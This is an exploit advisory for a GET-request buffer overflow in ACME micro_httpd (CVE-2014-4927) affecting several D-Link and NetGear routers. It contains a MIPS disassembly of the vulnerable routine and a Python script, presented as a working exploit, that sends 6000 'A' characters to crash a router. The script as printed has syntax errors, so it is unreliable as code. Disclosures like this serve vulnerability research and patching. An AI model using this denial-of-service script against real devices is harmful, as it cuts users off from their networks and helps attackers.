ACME micro_httpd - Denial of Service

"""

# Exploit Title: Buffer Overflow in micro_httpd by ACME

# Date: 4/7/2014

# Exploit Author: Yuval tisf Nativ

# Vendor Homepage: http://www.acme.com/software/micro_httpd/

# Software Link: http://www.acme.com/software/micro_httpd/

# Version: June 2012

# CVE: CVE-2014-4927

# Tested on: D-Link: (DSL2750U, DSL2740U), NetGear: (WGR614, MR-ADSL-DG834)

Buffer Overflow in micro_httpd

Argument for GET method is vulnerable to a buffer overflow.

Analyzed on:

D-Link: DSL2750U, DSL2740U,

NetGear: WGR614, MR-ADSL-DG834

ACME Labs offer no version tracking on server versions so version might not

be accurate.

Disassmebly in MIPS of vulnerable flow:

sub_4067CC:

LOAD:004067CC

LOAD:004067CC lui $gp, 0x47

LOAD:004067D0 addiu $sp, -0xA0

LOAD:004067D4 li $gp, 0x46B850

LOAD:004067D8 sw $ra, 0xA0+var_4($sp)

LOAD:004067DC sw $s3, 0xA0+var_8($sp)

LOAD:004067E0 sw $s2, 0xA0+var_C($sp)

LOAD:004067E4 sw $s1, 0xA0+var_10($sp)

LOAD:004067E8 sw $s0, 0xA0+var_14($sp)

LOAD:004067EC sw $gp, 0xA0+var_88($sp)

LOAD:004067F0 lui $s0, 0x46

LOAD:004067F4 lw $v1, dword_464108

LOAD:004067F8 lw $t9, (off_463B24 - 0x46B850)($gp)

LOAD:004067FC move $v0, $a0

LOAD:00406800 sw $a1, 0xA0+var_90($sp)

LOAD:00406804 move $s2, $a2

LOAD:00406808 lui $a1, 0x44

LOAD:0040680C lui $a2, 0x44

LOAD:00406810 move $a0, $v1

LOAD:00406814 la $a1, aSDS # "%s %d %s\r\n"

LOAD:00406818 la $a2, aHttp1_1 # "HTTP/1.1"

LOAD:0040681C move $s1, $a3

LOAD:00406820 jalr $t9

LOAD:00406824 move $a3, $v0

LOAD:00406828 lw $gp, 0xA0+var_88($sp)

LOAD:0040682C lw $a0, dword_464108

LOAD:00406830 lw $t9, (off_463B24 - 0x46B850)($gp)

LOAD:00406834 lui $a2, 0x44

LOAD:00406838 lui $a1, 0x44

LOAD:0040683C la $a2, aMicro_httpd # "micro_httpd"

LOAD:00406840 jalr $t9

LOAD:00406844 la $a1, aServerS # "Server: %s\r\n"

LOAD:00406848 lw $gp, 0xA0+var_88($sp)

LOAD:0040684C lw $a1, 0x4108($s0)

LOAD:00406850 lw $t9, (off_463BCC - 0x46B850)($gp)

LOAD:00406854 lui $a0, 0x44

LOAD:00406858 jalr $t9

LOAD:0040685C la $a0, aCacheControlNo # "Cache-Control:

no-cache\r\n"

LOAD:00406860 lw $gp, 0xA0+var_88($sp)

LOAD:00406864 move $a0, $0

LOAD:00406868 lw $t9, (off_463CDC - 0x46B850)($gp)

LOAD:0040686C jalr $t9

LOAD:00406870 addiu $s3, $sp, 0xA0+var_7C

LOAD:00406874 lw $gp, 0xA0+var_88($sp)

LOAD:00406878 addiu $a0, $sp, 0xA0+var_80

LOAD:0040687C lw $t9, (off_463DF4 - 0x46B850)($gp)

LOAD:00406880 jalr $t9

LOAD:00406884 sw $v0, 0xA0+var_80($sp)

LOAD:00406888 lw $gp, 0xA0+var_88($sp)

LOAD:0040688C lui $a2, 0x44

Working Exploit for a Denial of Service:

"""

#!/bin/python

import socket

import struct

# This will crash the router.

# In some devices it takes about 10 minutes until functionality is

restored.

buffer = "\x41" * 6000 # Original fuzzing buffer.

host = "10.0.0.138"

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host, 80))

payload = GET /" + buffer + " HTTP/1.1\r\n"

payload += ("Host: %s \r\n\r\n", % host)

s.send(payload)

s.close()